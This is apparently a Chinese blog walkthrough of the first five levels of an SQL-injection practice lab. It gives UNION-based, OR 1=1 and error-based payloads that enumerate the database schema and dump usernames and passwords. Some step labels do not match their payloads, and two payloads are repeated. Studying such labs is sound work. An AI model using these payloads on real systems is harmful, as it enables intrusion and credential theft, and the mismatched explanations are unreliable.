Dhankan靶场练习

Less-1

思路:首先识别数据库名,尝试通过union select语句绕过原有的SQL查询,一旦知道了数据库名尝试列出该数据库中所有的表名,知道了数据库中的表名,尝试列出该表中的所有列名。最后从users表中提取敏感数据,如用户ID、用户名和密码。

注释:

--+是SQL中的注释标记,用于忽略掉原始查询中可能存在的剩余部分,防止SQL语法错误。

information_schema.tables是MySQL中的一个特殊表,包含了数据库中所有表的信息。table_schema列表示表所属的数据库名,table_name列表示表名。group_concat(table_name)用于将多个表名合并为一个字符串返回。

information_schema.columns包含了数据库中所有表的列信息。

?id=-1' union select 1,2,database() --+

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

?id=-1' union select 1,2,group_concat(id,username,password) from users --+

Less-2

思路:修改URL中的查询参数id来尝试进行SQL注入,输入了一个构造的字符串来绕过正常的SQL查询逻辑。

注释:-- 是SQL注释的开始,它告诉数据库忽略该行中--之后的所有内容

?id=-1 or 1=1 --+

Less-3

思路:构造了一个字符串,首先尝试关闭任何可能由原始查询开启的字符串字面量(通过')),然后添加了一个总是为真的条件(or 1=1),最后使用SQL注释来忽略原始查询中可能存在的任何剩余部分(通过--+)。

?id=-1') or 1=1 --+

Less-4

思路:如果数据库允许双引号界定字符串,或者如果查询在之前已经以某种方式“打开”了字符串字面量(通过前面的单引号),那么这个注入字符串可能会成功。

?id=-1") or 1=1 --+

Less-5

获取数据库:

(concat(0x3a,database(),0x3a,floor(rand(0)*2)),用于生成一个包含数据库名和随机数的字符串。

information_schema.tables表中可能没有名为name的列。可以使用table_nametable_schema之类的列。

?id=-1' union select 1,count(*),(concat(0x3a,database(),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

获取表单:

通过嵌套一个SELECT查询来检索information_schema.tables表中属于特定数据库(security数据库)的第一个表名,并将其与数据库名(没有直接获取,使用了DATABASE()函数,它返回当前数据库名,可能不是security)和一个随机数连接起来。

?id=-1' union select 1,count(*),(concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

获取字段:

通过UNION SELECT查询从users表中检索第一个用户的用户名,并将其与一些额外的字符串(包括一个冒号、用户名、另一个冒号和一个随机数)连接起来

?id=-1' union select 1,count(*),(concat(0x3a,(select username from users limit 0,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

获取数据:

通过UNION SELECT结合从users表获取的用户名信息和information_schema.tables表的行数统计

?id=-1' union select 1,count(*),(concat(0x3a,(select username from users limit 0,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值